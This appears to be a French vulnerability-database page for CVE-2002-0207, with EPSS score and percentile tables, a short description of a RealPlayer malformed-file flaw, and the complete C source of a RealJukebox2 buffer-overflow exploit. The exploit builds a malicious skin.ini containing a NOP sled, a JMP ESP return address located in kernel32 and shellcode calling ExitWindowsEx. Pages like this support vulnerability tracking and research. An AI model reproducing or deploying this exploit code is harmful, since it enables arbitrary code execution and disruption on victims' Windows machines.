CVE-2002-0207 : Détail

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Date	EPSS V0	EPSS V1	EPSS V2 (> 2022-02-04)	EPSS V3 (> 2025-03-07)	EPSS V4 (> 2025-03-17)
2022-02-06	–	–	15.61%	–	–
2022-04-03	–	–	15.61%	–	–
2023-03-12	–	–	–	8.88%	–
2024-06-02	–	–	–	8.88%	–
2024-12-22	–	–	–	22.65%	–
2025-01-19	–	–	–	22.65%	–
2025-03-18	–	–	–	–	14.78%
2025-03-18	–	–	–	–	14.78,%

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

Date	Percentile
2022-02-06	93%
2022-04-03	96%
2023-03-12	94%
2024-06-02	95%
2024-12-22	97%
2025-01-19	97%
2025-03-18	94%
2025-03-18	94%

// source: https://www.securityfocus.com/bid/3809/info RealPlayer is a software package distributed and maintained by Real Media. It is available for Microsoft Windows, Unix, and Linux. A problem with the handling of file format may make it possible to remotely crash RealPlayer. The problem could also potentially result in code execution. Upon receiving a file with a malformed header, it is possible to crash the RealPlayer client. A file that specifies a content length greater than the actual size creates a circumstance where RealPlayer reacts unpredictably and becomes unstable. This usually results in the crashing of RealPlayer. This problem may also make it possible to execute arbitrary code. /*=========================================================== RealJukebox2 1.0.2.379 Exploit for Windows Windows2000 Professional (Service Pack 2) The Shadow Penguin Security (http://www.shadowpenguin.org) Written by UNYUN (unyun@shadowpenguin.org) ============================================================ */ #include <stdio.h> #include <windows.h> #define MAXBUF 4096 #define KERNEL_NAME "kernel32.dll" #define SKIN_INI "skin.ini" #define INI_FILE \ "[MAIN]\n"\ "Application=RealJukebox\n"\ "Version=2\n"\ "SkinFamilyCount=5\n"\ "\n"\ "CONTROL1Image=%s\n" #define NOP 0x90 #define FAKE_OFS1 36 #define FAKE_VAL1 0x7FFDF0F0 #define RETADR_OFS 28 #define CODE_OFS 60 #define RETADR_2000pro 0x77e0af64 static unsigned char egg_2000pro[512]={ 0xB8,0xA5,0xFA,0xE1,0x77,0x33,0xDB,0xB3, 0x04,0x53,0x53,0xFF,0xD0,0x90,0xEB,0xFD, 0x00 }; unsigned int search_mem(unsigned char *st,unsigned char *ed, unsigned char c1,unsigned char c2) { unsigned char *p; unsigned int adr; for (p=st;p<ed;p++) if (*p==c1 && *(p+1)==c2){ adr=(unsigned int)p; if ((adr&0xff)==0) continue; if (((adr>>8)&0xff)==0) continue; if (((adr>>16)&0xff)==0) continue; if (((adr>>24)&0xff)==0) continue; return(adr); } return(0); } void valset(char *buf,unsigned int val) { buf[0]=val&0xff; buf[1]=(val>>8)&0xff; buf[2]=(val>>16)&0xff; buf[3]=(val>>24)&0xff; } int main(int argc,char *argv[]) { FILE *fp; char buf[MAXBUF]; unsigned int tgt,exw; unsigned char *kp; if ((fp=fopen(SKIN_INI,"wb"))==NULL){ printf("Can not write file.\n"); exit(1); } memset(buf,NOP,sizeof(buf)); buf[sizeof(buf)-1]='\0'; if ((kp=(unsigned char *)LoadLibrary(KERNEL_NAME))==NULL){ printf("Can not find %s\n",KERNEL_NAME); exit(1); } tgt=search_mem(kp,kp+0x100000,0xff,0xe4); if (tgt==0) tgt=RETADR_2000pro; printf("kp = 0x%x\n",kp); printf("JMP ESP addr = 0x%x\n",tgt); exw=(unsigned int)ExitWindowsEx; printf("ExitWindowsEx = 0x%x\n",exw); valset(buf+FAKE_OFS1,FAKE_VAL1); valset(buf+RETADR_OFS,tgt); valset(egg_2000pro+1,exw); strncpy(buf+CODE_OFS,egg_2000pro,strlen(egg_2000pro)); fprintf(fp,INI_FILE,buf); fclose(fp); printf("Created '%s'.\n",SKIN_INI); return(0); }